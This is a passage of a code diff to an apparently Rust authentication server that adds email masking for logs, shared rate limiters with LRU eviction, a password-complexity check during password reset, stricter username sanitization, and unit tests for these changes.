2919 + pending_rows(&db, owner.id).await.remove(0).into();
2920 + active.expires_at =
2921 + Set(Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1));
2922 + active.update(&db).await.expect("age the row");
2923 + }
2924 +
2925 + svc.request_change(&db, user.id, &fresh_email(), PASSWORD)
2926 + .await
2927 + .expect("a fresh request triggers the opportunistic purge");
2928 +
2929 + let rows = pending_rows(&db, user.id).await;
2930 + assert_eq!(rows.len(), 1, "only the fresh request must remain");
2931 + assert!(rows[0].is_pending());
2932 + assert_eq!(
2933 + pending_rows(&db, neighbour.id).await.len(),
2934 + 1,
2935 + "the purge must stay scoped to the acting user"
2936 + );
2937 + }
2938 +
2939 + // ── Locales ─────────────────────────────────────────────────────────────
2940 +
2941 + /// Every string this service and the interstitial pages resolve, in the six
2942 + /// shipped locales.
2943 + ///
2944 + /// A missing key is silently replaced by the English fallback baked into
2945 + /// the code, so a gap never shows up as a failure at runtime — only as a
2946 + /// German user reading an English sentence. This test is the only place
2947 + /// that gap becomes visible.
2948 + #[test]
2949 + fn the_rfc_0041_keys_exist_in_the_six_locales() {
2950 + use yaml_rust2::YamlLoader;
2951 +
2952 + const LOCALES: [(&str, &str); 6] = [
2953 + ("de", include_str!("../../locales/de.yml")),
2954 + ("en", include_str!("../../locales/en.yml")),
2955 + ("es", include_str!("../../locales/es.yml")),
2956 + ("fr", include_str!("../../locales/fr.yml")),
2957 + ("it", include_str!("../../locales/it.yml")),
2958 + ("pt", include_str!("../../locales/pt.yml")),
2959 + ];
2960 +
2961 + let keys_of = |source: &str, block: &str| -> Vec<String> {
2962 + let docs = YamlLoader::load_from_str(source).expect("valid YAML");
2963 + let mut keys: Vec<String> = docs[0][block]
2964 + .as_hash()
2965 + .unwrap_or_else(|| panic!("block `{block}` is missing"))
2966 + .keys()
2967 + .filter_map(|k| k.as_str().map(str::to_string))
2968 + .collect();
2969 + keys.sort();
2970 + keys
2971 + };
2972 +
2973 + for block in ["email_change", "email_change_page"] {
2974 + let reference = keys_of(LOCALES[1].1, block);
2975 + assert!(
2976 + !reference.is_empty(),
2977 + "en.yml must define the `{block}` block"
2978 + );
2979 + for (locale, source) in LOCALES {
2980 + assert_eq!(
2981 + keys_of(source, block),
2982 + reference,
2983 + "{locale}.yml must define exactly the `{block}` keys of en.yml"
2984 + );
2985 + }
2986 + }
2987 + }
2988 +}
M crates/rustwarden-core/src/services/email_sanitization.rs
+29 -0
@@ -34,6 +34,26 @@ pub fn sanitize_email_content(content: &str) -> String {
34 34 .replace('\'', "&#x27;")
35 35 }
36 36
37 +/// Mask an email address for log output (e.g. `jo***@ex***`).
38 +///
39 +/// Keeps at most the first two characters of the local part and of the
40 +/// domain so log lines, audit messages and hook metadata never contain a
41 +/// full address (SIEM-friendly).
42 +///
43 +/// Shared helper: used by
44 +/// [`EmailChangeService`](crate::services::email_change_service::EmailChangeService)
45 +/// for its `audit_logs` rows and `on_audit_event` payloads.
46 +pub(crate) fn mask_email(email: &str) -> String {
47 + match email.split_once('@') {
48 + Some((local, domain)) => {
49 + let local_visible: String = local.chars().take(2).collect();
50 + let domain_visible: String = domain.chars().take(2).collect();
51 + format!("{local_visible}***@{domain_visible}***")
52 + }
53 + None => "***".to_string(),
54 + }
55 +}
56 +
37 57 /// Validate email address format
38 58 ///
39 59 /// # Arguments
@@ -69,4 +89,13 @@ mod tests {
69 89 assert!(!is_valid_email_format("@example.com"));
70 90 assert!(!is_valid_email_format("user @example.com")); // Contains space
71 91 }
92 +
93 + #[test]
94 + fn mask_email_never_leaks_full_address() {
95 + assert_eq!(mask_email("john.doe@example.com"), "jo***@ex***");
96 + assert_eq!(mask_email("a@b.c"), "a***@b.***");
97 + assert_eq!(mask_email("no-at-sign"), "***");
98 + // Multi-byte local part must not panic.
99 + assert_eq!(mask_email("émile@exemple.fr"), "ém***@ex***");
100 + }
72 101 }
M crates/rustwarden-core/src/services/email_validation_service.rs
+144 -4
@@ -17,12 +17,40 @@ use sea_orm::{
17 17 ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set,
18 18 };
19 19 use sha2::{Digest, Sha256};
20 +use std::sync::OnceLock;
21 +use std::time::Duration as StdDuration;
20 22 use uuid::Uuid;
21 23
22 24 /// Default: 3 verification email requests per address per hour.
23 25 const EMAIL_VALIDATION_RATE_LIMIT_MAX: u32 = 3;
24 -const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: std::time::Duration =
25 - std::time::Duration::from_secs(3600);
26 +const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
27 +
28 +/// Process-wide sliding-window limiter for email-validation resends.
29 +///
30 +/// Distinct from the password-reset limiter so the two flows keep separate
31 +/// budgets. Handlers construct [`EmailValidationService::new`] per request.
32 +static EMAIL_VALIDATION_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
33 +
34 +/// Return the process-wide email-validation limiter, initializing it once.
35 +fn shared_email_validation_limiter() -> RateLimitService {
36 + EMAIL_VALIDATION_LIMITER
37 + .get_or_init(|| {
38 + let limiter = RateLimitService::new();
39 + if let Ok(handle) = tokio::runtime::Handle::try_current() {
40 + handle.spawn(
41 + limiter
42 + .clone()
43 + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)),
44 + );
45 + } else {
46 + tracing::warn!(
47 + "email-validation limiter: no tokio runtime, cleanup_loop not started"
48 + );
49 + }
50 + limiter
51 + })
52 + .clone()
53 +}
26 54
27 55 /// Email validation service
28 56 pub struct EmailValidationService {
@@ -32,11 +60,23 @@ pub struct EmailValidationService {
32 60 }
33 61
34 62 impl EmailValidationService {
35 - /// Create a new EmailValidationService
63 + /// Create a new EmailValidationService using the process-wide rate limiter.
36 64 pub fn new(email_config: EmailConfig) -> Self {
37 65 Self {
38 66 email_config,
39 - rate_limiter: RateLimitService::new(),
67 + rate_limiter: shared_email_validation_limiter(),
68 + }
69 + }
70 +
71 + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]).
72 + #[cfg(test)]
73 + pub(crate) fn new_with_limiter(
74 + email_config: EmailConfig,
75 + rate_limiter: RateLimitService,
76 + ) -> Self {
77 + Self {
78 + email_config,
79 + rate_limiter,
40 80 }
41 81 }
42 82
@@ -354,3 +394,103 @@ impl EmailValidationService {
354 394 Ok(())
355 395 }
356 396 }
397 +
398 +#[cfg(test)]
399 +mod tests {
400 + use super::*;
401 + use crate::config::email::EmailConfig;
402 +
403 + fn dummy_email_config() -> EmailConfig {
404 + EmailConfig {
405 + smtp_host: "localhost".into(),
406 + smtp_port: 587,
407 + smtp_user: "u".into(),
408 + smtp_password: "p".into(),
409 + smtp_from: "from@example.test".into(),
410 + smtp_from_name: None,
411 + smtp_use_tls: false,
412 + smtp_use_starttls: false,
413 + smtp_accept_invalid_certs: true,
414 + smtp_ca_cert_path: None,
415 + queue_batch_size: 10,
416 + queue_retry_attempts: 5,
417 + queue_retry_delay_seconds: 300,
418 + email_base_url: "http://localhost".into(),
419 + request_dsn: false,
420 + imap_host: None,
421 + imap_port: 993,
422 + imap_user: None,
423 + imap_password: None,
424 + imap_use_tls: true,
425 + imap_use_starttls: false,
426 + imap_accept_invalid_certs: false,
427 + imap_ca_cert_path: None,
428 + imap_mailbox: "INBOX".into(),
429 + imap_poll_interval_seconds: 300,
430 + }
431 + }
432 +
433 + #[test]
434 + fn new_with_limiter_uses_injected_instance() {
435 + let limiter = RateLimitService::new();
436 + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), limiter.clone());
437 + for _ in 0..3 {
438 + limiter
439 + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600))
440 + .unwrap();
441 + }
442 + assert!(
443 + svc.rate_limiter
444 + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600))
445 + .is_err()
446 + );
447 + }
448 +
449 + #[test]
450 + fn new_shares_process_wide_limiter() {
451 + let a = EmailValidationService::new(dummy_email_config());
452 + let b = EmailValidationService::new(dummy_email_config());
453 + for _ in 0..3 {
454 + a.rate_limiter
455 + .check_sliding_window(
456 + "email_verify:share-oncelock@test",
457 + 3,
458 + StdDuration::from_secs(3600),
459 + )
460 + .unwrap();
461 + }
462 + assert!(
463 + b.rate_limiter
464 + .check_sliding_window(
465 + "email_verify:share-oncelock@test",
466 + 3,
467 + StdDuration::from_secs(3600),
468 + )
469 + .is_err()
470 + );
471 + }
472 +
473 + #[test]
474 + fn new_with_limiter_is_independent_of_process_lock() {
475 + let private = RateLimitService::new();
476 + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), private.clone());
477 + for _ in 0..3 {
478 + private
479 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
480 + .unwrap();
481 + }
482 + assert!(
483 + svc.rate_limiter
484 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
485 + .is_err()
486 + );
487 +
488 + let process = EmailValidationService::new(dummy_email_config());
489 + assert!(
490 + process
491 + .rate_limiter
492 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
493 + .is_ok()
494 + );
495 + }
496 +}
M crates/rustwarden-core/src/services/mod.rs
+2 -0
@@ -12,6 +12,8 @@ pub mod auth_service;
12 12 pub mod crypto_service;
13 13 /// Ensures a default admin account exists on first boot.
14 14 pub mod default_admin_service;
15 +/// Two-step email change service (RFC 0041).
16 +pub mod email_change_service;
15 17 /// Background service that drains the email queue.
16 18 pub mod email_queue_service;
17 19 /// Email address sanitization helpers.
M crates/rustwarden-core/src/services/oauth/service.rs
+22 -11
@@ -192,26 +192,38 @@ impl OAuthService {
192 192 db: &DatabaseConnection,
193 193 base: &str,
194 194 ) -> Result<String, AppError> {
195 + // Produce a candidate that passes Username::parse (strict):
196 + // lowercase, only [a-z0-9], at most 30 chars (leaves room for
197 + // "-NNN" / "-user" suffixes while staying inside the 39-char limit).
195 198 let sanitized: String = base
199 + .to_ascii_lowercase()
196 200 .chars()
197 - .filter(|c| c.is_alphanumeric() || *c == '_')
198 - .take(20)
201 + .filter(|c| c.is_ascii_lowercase() || c.is_ascii_digit())
202 + .take(30)
199 203 .collect();
200 - let sanitized = if sanitized.is_empty() {
204 + let sanitized = if sanitized.len() < 3 {
201 205 "user".to_string()
202 206 } else {
203 207 sanitized
204 208 };
205 209
206 - if UserService::get_user_by_username(db, &sanitized)
210 + // Avoid reserved names by appending a disambiguating suffix.
211 + // Uses Username::is_reserved so the reserved-name list lives in one place.
212 + let base_candidate = if crate::types::Username::is_reserved(&sanitized) {
213 + format!("{}-user", sanitized)
214 + } else {
215 + sanitized
216 + };
217 +
218 + if UserService::get_user_by_username(db, &base_candidate)
207 219 .await?
208 220 .is_none()
209 221 {
210 - return Ok(sanitized);
222 + return Ok(base_candidate);
211 223 }
212 224
213 225 for i in 1..100 {
214 - let candidate = format!("{}_{}", sanitized, i);
226 + let candidate = format!("{}-{}", base_candidate, i);
215 227 if UserService::get_user_by_username(db, &candidate)
216 228 .await?
217 229 .is_none()
@@ -220,10 +232,9 @@ impl OAuthService {
220 232 }
221 233 }
222 234
223 - Ok(format!(
224 - "{}_{}",
225 - sanitized,
226 - &Uuid::new_v4().to_string()[..8]
227 - ))
235 + // Last resort: 8-char hex suffix from a simple UUID (pure ASCII hex,
236 + // safe to slice by byte index).
237 + let uuid_simple = Uuid::new_v4().simple().to_string();
238 + Ok(format!("{}-{}", base_candidate, &uuid_simple[..8]))
228 239 }
229 240 }
M crates/rustwarden-core/src/services/password_reset_service.rs
+211 -3
@@ -19,11 +19,40 @@ use sea_orm::{
19 19 ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set,
20 20 };
21 21 use sha2::{Digest, Sha256};
22 +use std::sync::OnceLock;
23 +use std::time::Duration as StdDuration;
22 24 use uuid::Uuid;
23 25
24 26 /// Default: 3 reset requests per email per hour.
25 27 const RESET_RATE_LIMIT_MAX: u32 = 3;
26 -const RESET_RATE_LIMIT_WINDOW: std::time::Duration = std::time::Duration::from_secs(3600);
28 +const RESET_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
29 +
30 +/// Process-wide sliding-window limiter for password-reset emails.
31 +///
32 +/// Handlers construct [`PasswordResetService::new`] per request; a fresh
33 +/// [`RateLimitService`] on each call would make the throttle inert.
34 +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
35 +
36 +/// Return the process-wide password-reset limiter, initializing it once.
37 +fn shared_password_reset_limiter() -> RateLimitService {
38 + PASSWORD_RESET_LIMITER
39 + .get_or_init(|| {
40 + let limiter = RateLimitService::new();
41 + if let Ok(handle) = tokio::runtime::Handle::try_current() {
42 + handle.spawn(
43 + limiter
44 + .clone()
45 + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)),
46 + );
47 + } else {
48 + tracing::warn!(
49 + "password-reset limiter: no tokio runtime, cleanup_loop not started"
50 + );
51 + }
52 + limiter
53 + })
54 + .clone()
55 +}
27 56
28 57 /// Password reset service
29 58 pub struct PasswordResetService {
@@ -33,11 +62,23 @@ pub struct PasswordResetService {
33 62 }
34 63
35 64 impl PasswordResetService {
36 - /// Create a new PasswordResetService
65 + /// Create a new PasswordResetService using the process-wide rate limiter.
37 66 pub fn new(email_config: EmailConfig) -> Self {
38 67 Self {
39 68 email_config,
40 - rate_limiter: RateLimitService::new(),
69 + rate_limiter: shared_password_reset_limiter(),
70 + }
71 + }
72 +
73 + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]).
74 + #[cfg(test)]
75 + pub(crate) fn new_with_limiter(
76 + email_config: EmailConfig,
77 + rate_limiter: RateLimitService,
78 + ) -> Self {
79 + Self {
80 + email_config,
81 + rate_limiter,
41 82 }
42 83 }
43 84
@@ -230,6 +271,10 @@ impl PasswordResetService {
230 271 // Validate token
231 272 let user_id = self.validate_token(db, token).await?;
232 273
274 + // Reject weak passwords before hashing or consuming the token (M-2).
275 + crate::middleware::password_complexity::validate_password_complexity(db, new_password)
276 + .await?;
277 +
233 278 // Validate and hash new password
234 279 let password_hash = PasswordService::hash_password(new_password).await?;
235 280
@@ -303,3 +348,166 @@ impl PasswordResetService {
303 348 Ok(())
304 349 }
305 350 }
351 +
352 +#[cfg(test)]
353 +mod tests {
354 + use super::*;
355 + use crate::config::email::EmailConfig;
356 +
357 + fn dummy_email_config() -> EmailConfig {
358 + EmailConfig {
359 + smtp_host: "localhost".into(),
360 + smtp_port: 587,
361 + smtp_user: "u".into(),
362 + smtp_password: "p".into(),
363 + smtp_from: "from@example.test".into(),
364 + smtp_from_name: None,
365 + smtp_use_tls: false,
366 + smtp_use_starttls: false,
367 + smtp_accept_invalid_certs: true,
368 + smtp_ca_cert_path: None,
369 + queue_batch_size: 10,
370 + queue_retry_attempts: 5,
371 + queue_retry_delay_seconds: 300,
372 + email_base_url: "http://localhost".into(),
373 + request_dsn: false,
374 + imap_host: None,
375 + imap_port: 993,
376 + imap_user: None,
377 + imap_password: None,
378 + imap_use_tls: true,
379 + imap_use_starttls: false,
380 + imap_accept_invalid_certs: false,
381 + imap_ca_cert_path: None,
382 + imap_mailbox: "INBOX".into(),
383 + imap_poll_interval_seconds: 300,
384 + }
385 + }
386 +
387 + #[test]
388 + fn new_with_limiter_uses_injected_instance() {
389 + let limiter = RateLimitService::new();
390 + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), limiter.clone());
391 + for _ in 0..3 {
392 + limiter
393 + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600))
394 + .unwrap();
395 + }
396 + assert!(
397 + svc.rate_limiter
398 + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600))
399 + .is_err()
400 + );
401 + }
402 +
403 + #[test]
404 + fn new_shares_process_wide_limiter() {
405 + let a = PasswordResetService::new(dummy_email_config());
406 + let b = PasswordResetService::new(dummy_email_config());
407 + for _ in 0..3 {
408 + a.rate_limiter
409 + .check_sliding_window(
410 + "pwd_reset:share-oncelock@test",
411 + 3,
412 + StdDuration::from_secs(3600),
413 + )
414 + .unwrap();
415 + }
416 + assert!(
417 + b.rate_limiter
418 + .check_sliding_window(
419 + "pwd_reset:share-oncelock@test",
420 + 3,
421 + StdDuration::from_secs(3600),
422 + )
423 + .is_err()
424 + );
425 + }
426 +
427 + #[test]
428 + fn new_with_limiter_is_independent_of_process_lock() {
429 + let private = RateLimitService::new();
430 + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), private.clone());
431 + for _ in 0..3 {
432 + private
433 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
434 + .unwrap();
435 + }
436 + assert!(
437 + svc.rate_limiter
438 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
439 + .is_err()
440 + );
441 +
442 + let process = PasswordResetService::new(dummy_email_config());
443 + assert!(
444 + process
445 + .rate_limiter
446 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
447 + .is_ok()
448 + );
449 + }
450 +
451 + fn unused_reset_token(plain: &str, user_id: Uuid) -> password_reset_token::Model {
452 + let now = Utc::now();
453 + password_reset_token::Model {
454 + id: Uuid::new_v4(),
455 + user_id,
456 + token_hash: PasswordResetService::hash_token(plain),
457 + expires_at: now + Duration::hours(1),
458 + used_at: None,
459 + created_at: now,
460 + }
461 + }
462 +
463 + /// M-2: a rejected password must not mark the reset token used.
464 + ///
465 + /// MockDatabase cannot re-SELECT `used_at`; absence of UPDATE in the
466 + /// transaction log is the equivalent of `used_at IS NULL`.
467 + #[tokio::test]
468 + async fn reset_password_rejects_weak_password_without_consuming_token() {
469 + use crate::models::app_settings;
470 + use sea_orm::{DatabaseBackend, MockDatabase};
471 +
472 + let plain = "reset-token-plain";
473 + let token_row = unused_reset_token(plain, Uuid::new_v4());
474 +
475 + // 1) validate_token SELECT; 2–7) PasswordRules::from_db settings
476 + // (missing keys → defaults, which reject `"a"`).
477 + let db = MockDatabase::new(DatabaseBackend::Postgres)
478 + .append_query_results([vec![token_row]])
479 + .append_query_results([
480 + Vec::<app_settings::Model>::new(),
481 + Vec::<app_settings::Model>::new(),
482 + Vec::<app_settings::Model>::new(),
483 + Vec::<app_settings::Model>::new(),
484 + Vec::<app_settings::Model>::new(),
485 + Vec::<app_settings::Model>::new(),
486 + ])
487 + .into_connection();
488 +
489 + let svc = PasswordResetService::new(dummy_email_config());
490 + let err = svc
491 + .reset_password(&db, plain, "a")
492 + .await
493 + .expect_err("weak password must be rejected");
494 + assert!(
495 + matches!(err, AppError::Validation(_)),
496 + "expected Validation, got {err:?}"
497 + );
498 +
499 + for txn in db.into_transaction_log() {
500 + for stmt in txn.statements() {
501 + assert!(
502 + !stmt
503 + .sql
504 + .trim_start()
505 + .to_ascii_uppercase()
506 + .starts_with("UPDATE"),
507 + "rejected password must not consume the token (used_at stays NULL): {}",
508 + stmt.sql
509 + );
510 + }
511 + }
512 + }
513 +}
M crates/rustwarden-core/src/services/personal_token_service.rs
+1 -1
@@ -290,7 +290,7 @@ mod tests {
290 290 .unwrap();
291 291 let user = UserService::create_user(
292 292 db,
293 - format!("pat_test_{}", &unique[..12]),
293 + format!("pat-test-{}", &unique[..12]),
294 294 format!("pat_test_{}@example.com", &unique[..12]),
295 295 hash,
296 296 false,
M crates/rustwarden-core/src/services/rate_limit_service.rs
+201 -22
@@ -20,8 +20,11 @@
20 20 //!
21 21 //! - In-process only. Multi-instance deployments need a shared backend
22 22 //! (Redis) — out of scope for v1.
23 -//! - Memory-bounded via `MAX_ENTRIES` (dropped if the map grows past the
24 -//! cap and the incoming key is unknown).
23 +//! - Memory-bounded via `MAX_ENTRIES`. When the map is at cap and the
24 +//! incoming key is unknown, the least-recently-used key (oldest
25 +//! most-recent timestamp) is evicted so a legitimate new caller is still
26 +//! admitted. Unknown keys are never rejected solely because the map is
27 +//! full.
25 28
26 29 use std::{
27 30 collections::HashMap,
@@ -31,7 +34,7 @@ use std::{
31 34
32 35 use crate::error::AppError;
33 36
34 -/// Maximum distinct keys tracked before refusing new ones (SEC-M2: memory DoS).
37 +/// Maximum distinct keys tracked before LRU-evicting the coldest entry (SEC-M2: memory DoS).
35 38 const MAX_ENTRIES: usize = 100_000;
36 39
37 40 /// Per-key counter plus the instant at which the current window opened.
@@ -79,6 +82,16 @@ impl RateLimitService {
79 82
80 83 /// Check and increment the counter for `key` with a custom window size.
81 84 pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError> {
85 + self.check_window_capped(key, max, window, MAX_ENTRIES)
86 + }
87 +
88 + fn check_window_capped(
89 + &self,
90 + key: &str,
91 + max: u32,
92 + window: Duration,
93 + cap: usize,
94 + ) -> Result<(), AppError> {
82 95 let now = Instant::now();
83 96 let mut buckets = self
84 97 .buckets
@@ -88,15 +101,15 @@ impl RateLimitService {
88 101 // Drop expired entries so the map stays bounded on low-traffic keys.
89 102 buckets.retain(|_, w| now.duration_since(w.window_start) < window);
90 103
91 - if buckets.len() >= MAX_ENTRIES && !buckets.contains_key(key) {
92 - tracing::warn!(
93 - entries = buckets.len(),
94 - cap = MAX_ENTRIES,
95 - "rate limiter map full, rejecting new key"
96 - );
97 - return Err(AppError::TooManyRequests {
98 - retry_after_secs: window.as_secs(),
99 - });
104 + if !buckets.contains_key(key) {
105 + if buckets.len() >= cap {
106 + tracing::warn!(
107 + entries = buckets.len(),
108 + cap,
109 + "rate limiter map full, evicting oldest window"
110 + );
111 + }
112 + evict_fixed_if_full(&mut buckets, cap);
100 113 }
101 114
102 115 let w = buckets.entry(key.to_string()).or_insert(WindowCounter {
@@ -142,22 +155,31 @@ impl RateLimitService {
142 155 max: u32,
143 156 window: Duration,
144 157 ) -> Result<(), AppError> {
158 + self.check_sliding_window_capped(key, max, window, MAX_ENTRIES)
159 + }
160 +
161 + fn check_sliding_window_capped(
162 + &self,
163 + key: &str,
164 + max: u32,
165 + window: Duration,
166 + cap: usize,
167 + ) -> Result<(), AppError> {
145 168 let now = Instant::now();
146 169 let mut sliding = self
147 170 .sliding
148 171 .lock()
149 172 .map_err(|_| AppError::Internal("rate limiter mutex poisoned".into()))?;
150 173
151 - // Size guard before insertion of a new key.
152 - if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) {
153 - tracing::warn!(
154 - entries = sliding.len(),
155 - cap = MAX_ENTRIES,
156 - "sliding rate limiter map full, rejecting new key"
157 - );
158 - return Err(AppError::TooManyRequests {
159 - retry_after_secs: window.as_secs(),
160 - });
174 + if !sliding.contains_key(key) {
175 + if sliding.len() >= cap {
176 + tracing::warn!(
177 + entries = sliding.len(),
178 + cap,
179 + "sliding rate limiter map full, evicting least-recently-used key"
180 + );
181 + }
182 + evict_if_full(&mut sliding, cap, now);
161 183 }
162 184
163 185 let attempts = sliding.entry(key.to_string()).or_default();
@@ -222,6 +244,39 @@ impl RateLimitService {
222 244 }
223 245 }
224 246
247 +/// Evict the sliding-window key whose most recent timestamp is the oldest
248 +/// (approximate LRU) when `sliding` is at `cap`.
249 +///
250 +/// No-op when the map is under capacity. Empty timestamp lists are treated as
251 +/// "just seen" (`now`) so they are not preferred for eviction.
252 +fn evict_if_full(sliding: &mut HashMap<String, Vec<Instant>>, cap: usize, now: Instant) {
253 + if sliding.len() < cap {
254 + return;
255 + }
256 + if let Some(oldest) = sliding
257 + .iter()
258 + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now))
259 + .map(|(k, _)| k.clone())
260 + {
261 + sliding.remove(&oldest);
262 + }
263 +}
264 +
265 +/// Evict the fixed-window key with the oldest `window_start` when `buckets`
266 +/// is at `cap`. No-op when under capacity.
267 +fn evict_fixed_if_full(buckets: &mut HashMap<String, WindowCounter>, cap: usize) {
268 + if buckets.len() < cap {
269 + return;
270 + }
271 + if let Some(oldest) = buckets
272 + .iter()
273 + .min_by_key(|(_, w)| w.window_start)
274 + .map(|(k, _)| k.clone())
275 + {
276 + buckets.remove(&oldest);
277 + }
278 +}
279 +
225 280 #[cfg(test)]
226 281 mod tests {
227 282 use super::*;
@@ -314,4 +369,128 @@ mod tests {
314 369 assert!(a.check("k", 4).is_err());
315 370 assert!(b.check_window("k", 4, Duration::from_secs(60)).is_err());
316 371 }
372 +
373 + #[test]
374 + fn cloned_limiters_share_buckets() {
375 + let a = RateLimitService::new();
376 + let b = a.clone();
377 + for _ in 0..3 {
378 + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
379 + .unwrap();
380 + }
381 + assert!(
382 + b.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
383 + .is_err()
384 + );
385 + }
386 +
387 + #[test]
388 + fn independent_new_does_not_share() {
389 + let a = RateLimitService::new();
390 + let b = RateLimitService::new();
391 + for _ in 0..3 {
392 + a.check_sliding_window("k", 3, Duration::from_secs(3600))
393 + .unwrap();
394 + }
395 + assert!(
396 + b.check_sliding_window("k", 3, Duration::from_secs(3600))
397 + .is_ok()
398 + );
399 + }
400 +
401 + #[test]
402 + fn evict_if_full_is_noop_under_cap() {
403 + let now = Instant::now();
404 + let mut sliding = HashMap::new();
405 + sliding.insert("a".into(), vec![now]);
406 + evict_if_full(&mut sliding, 8, now);
407 + assert_eq!(sliding.len(), 1);
408 + assert!(sliding.contains_key("a"));
409 + }
410 +
411 + #[test]
412 + fn evict_if_full_drops_key_with_oldest_last_timestamp() {
413 + let now = Instant::now();
414 + let mut sliding = HashMap::new();
415 + for i in 0..8u64 {
416 + sliding.insert(format!("k{i}"), vec![now + Duration::from_millis(i)]);
417 + }
418 + assert_eq!(sliding.len(), 8);
419 +
420 + evict_if_full(&mut sliding, 8, now + Duration::from_secs(1));
421 + assert_eq!(sliding.len(), 7);
422 + assert!(!sliding.contains_key("k0"));
423 +
424 + sliding.entry("k8".into()).or_default().push(now);
425 + assert!(sliding.contains_key("k8"));
426 + assert!(sliding.len() <= 8);
427 + }
428 +
429 + #[test]
430 + fn sliding_window_evicts_lru_instead_of_rejecting_new_key() {
431 + let rl = RateLimitService::new();
432 + let window = Duration::from_secs(3600);
433 + for i in 0..8 {
434 + rl.check_sliding_window_capped(&format!("k{i}"), 10, window, 8)
435 + .unwrap();
436 + }
437 + assert_eq!(rl.sliding_len(), 8);
438 + rl.check_sliding_window_capped("k8", 10, window, 8)
439 + .expect("new key must be admitted via LRU eviction");
440 + assert!(rl.sliding_len() <= 8);
441 + }
442 +
443 + #[test]
444 + fn sliding_window_does_not_evict_when_key_already_tracked() {
445 + let rl = RateLimitService::new();
446 + let window = Duration::from_secs(3600);
447 + for i in 0..8 {
448 + rl.check_sliding_window_capped(&format!("k{i}"), 2, window, 8)
449 + .unwrap();
450 + }
451 + rl.check_sliding_window_capped("k0", 2, window, 8)
452 + .expect("existing key at cap must keep its bucket");
453 + assert_eq!(rl.sliding_len(), 8);
454 + }
455 +
456 + #[test]
457 + fn evict_fixed_if_full_drops_oldest_window_start() {
458 + let now = Instant::now();
459 + let mut buckets = HashMap::new();
460 + for i in 0..8u64 {
461 + buckets.insert(
462 + format!("k{i}"),
463 + WindowCounter {
464 + count: 1,
465 + window_start: now + Duration::from_millis(i),
466 + },
467 + );
468 + }
469 + evict_fixed_if_full(&mut buckets, 8);
470 + assert_eq!(buckets.len(), 7);
471 + assert!(!buckets.contains_key("k0"));
472 + buckets.insert(
473 + "k8".into(),
474 + WindowCounter {
475 + count: 1,
476 + window_start: now,
477 + },
478 + );
479 + assert!(buckets.contains_key("k8"));
480 + assert!(buckets.len() <= 8);
481 + }
482 +
483 + #[test]
484 + fn fixed_window_evicts_instead_of_rejecting_new_key() {
485 + let rl = RateLimitService::new();
486 + let window = Duration::from_secs(60);
487 + for i in 0..8 {
488 + rl.check_window_capped(&format!("k{i}"), 10, window, 8)
489 + .unwrap();
490 + }
491 + assert_eq!(rl.len(), 8);
492 + rl.check_window_capped("k8", 10, window, 8)
493 + .expect("new key must be admitted via eviction");
494 + assert!(rl.len() <= 8);
495 + }
317 496 }
M crates/rustwarden-core/src/services/resource_service.rs
+1 -1
@@ -541,7 +541,7 @@ mod tests {
541 541 .unwrap();
542 542 UserService::create_user(
543 543 db,
544 - format!("res_test_{}", &unique[..12]),
544 + format!("res-test-{}", &unique[..12]),
545 545 format!("res_test_{}@example.com", &unique[..12]),
546 546 hash,
547 547 false,
M crates/rustwarden-core/src/services/team_service.rs
+1 -1
@@ -342,7 +342,7 @@ mod tests {
342 342 .unwrap();
343 343 UserService::create_user(
344 344 db,
345 - format!("team_test_{}", &unique[..12]),
345 + format!("team-test-{}", &unique[..12]),
346 346 format!("team_test_{}@example.com", &unique[..12]),
347 347 hash,
348 348 false,
M crates/rustwarden-core/src/services/totp_service.rs
+556 -31
@@ -3,8 +3,16 @@
3 3 //! Provides methods for generating, verifying, and managing TOTP 2FA
4 4 //! including backup codes and login challenge flow.
5 5
6 +use std::collections::HashMap;
7 +use std::sync::{Mutex, OnceLock};
8 +use std::time::Instant;
9 +
6 10 use chrono::{Duration, Utc};
7 -use sea_orm::{ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, QueryFilter, Set};
11 +use sea_orm::sea_query::Expr;
12 +use sea_orm::{
13 + ActiveModelTrait, ColumnTrait, Condition, DatabaseConnection, EntityTrait, NotSet, QueryFilter,
14 + Set,
15 +};
8 16 use totp_rs::{Algorithm, Secret, TOTP};
9 17 use uuid::Uuid;
10 18
@@ -16,6 +24,102 @@ const BACKUP_CODE_COUNT: usize = 10;
16 24 const BACKUP_CODE_LENGTH: usize = 8;
17 25 const CHALLENGE_EXPIRY_MINUTES: i64 = 5;
18 26 const MAX_CHALLENGE_ATTEMPTS: i32 = 5;
27 +/// Cap of *summed* challenge attempts per user over 15 minutes.
